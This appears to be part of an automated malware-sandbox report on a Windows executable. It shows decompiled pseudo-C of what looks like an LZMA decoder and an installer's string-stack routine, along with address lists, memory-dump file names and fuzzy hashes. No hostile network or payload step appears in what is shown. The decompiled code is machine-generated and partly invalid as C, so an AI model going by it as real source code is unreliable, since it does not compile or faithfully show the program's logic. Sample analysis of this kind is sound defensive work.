										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x004062b1
0x004062b1
0x004062b5
0x004062de
0x004062e8
0x004062b7
0x004062c0
0x004062cd
0x004062d0
0x00406614
0x00406614
0x00406617
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00406665
0x00406669
0x00406818
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x0040684a
0x00406675
0x0040667c
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00406614
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x00000000
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00406690
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00406690
0x00406690
0x00000000
0x00406696
0x00406690
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406617
0x00406614

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be6e9d30e93fbb49eb3c361b8f1c94b7932ac8d56391751c3e2361f0828e0a06
Instruction ID: f7c6f07f586ed293a1c67bf574783cb577a0acbc2814a7f5ecfd539a56c9ebac
Opcode Fuzzy Hash: be6e9d30e93fbb49eb3c361b8f1c94b7932ac8d56391751c3e2361f0828e0a06
Instruction Fuzzy Hash: AF715671D00229CBDF28CF98C844BADBBB1FF44305F15816AD816BB281C7785A46DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00401B06, Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401B06(void* __ebx, void* __edx) {
				intOrPtr _t7;
				void* _t8;
				void _t11;
				void* _t13;
				void* _t21;
				void* _t24;
				void* _t30;
				void* _t33;
				void* _t34;
				void* _t37;

				_t27 = __ebx;
				_t7 =  *((intOrPtr*)(_t37 - 0x1c));
				_t30 =  *0x40af50; // 0x0
				if(_t7 == __ebx) {
					if(__edx == __ebx) {
						_t8 = GlobalAlloc(0x40, 0x404); // executed
						_t34 = _t8;
						_t4 = _t34 + 4; // 0x4
						E004059FF(__ebx, _t30, _t34, _t4,  *((intOrPtr*)(_t37 - 0x24)));
						_t11 =  *0x40af50; // 0x0
						 *_t34 = _t11;
						 *0x40af50 = _t34;
					} else {
						if(_t30 == __ebx) {
							 *((intOrPtr*)(_t37 - 4)) = 1;
						} else {
							_t2 = _t30 + 4; // 0x4
							E004059DD(_t33, _t2);
							_push(_t30);
							 *0x40af50 =  *_t30;
							GlobalFree();
						}
					}
					goto L15;
				} else {
					while(1) {
						_t7 = _t7 - 1;
						if(_t30 == _t27) {
							break;
						}
						_t30 =  *_t30;
						if(_t7 != _t27) {
							continue;
						} else {
							if(_t30 == _t27) {
								break;
							} else {
								_t32 = _t30 + 4;
								E004059DD(0x409b50, _t30 + 4);
								_t21 =  *0x40af50; // 0x0
								E004059DD(_t32, _t21 + 4);
								_t24 =  *0x40af50; // 0x0
								_push(0x409b50);
								_push(_t24 + 4);
								E004059DD();
								L15:
								 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t37 - 4));
								_t13 = 0;
							}
						}
						goto L17;
					}
					_push(0x200010);
					_push(E004059FF(_t27, _t30, _t33, _t27, 0xffffffe8));
					E0040529E();
					_t13 = 0x7fffffff;
				}
				L17:
				return _t13;
			}

0x00401b06
0x00401b06
0x00401b09
0x00401b11
0x00401b59
0x00401b87
0x00401b90
0x00401b92
0x00401b96
0x00401b9b
0x00401ba0
0x00401ba2
0x00401b5b
0x00401b5d
0x0040265c
0x00401b63
0x00401b63
0x00401b68
0x00401b6f
0x00401b70
0x00401b75
0x00401b75
0x00401b5d
0x00000000
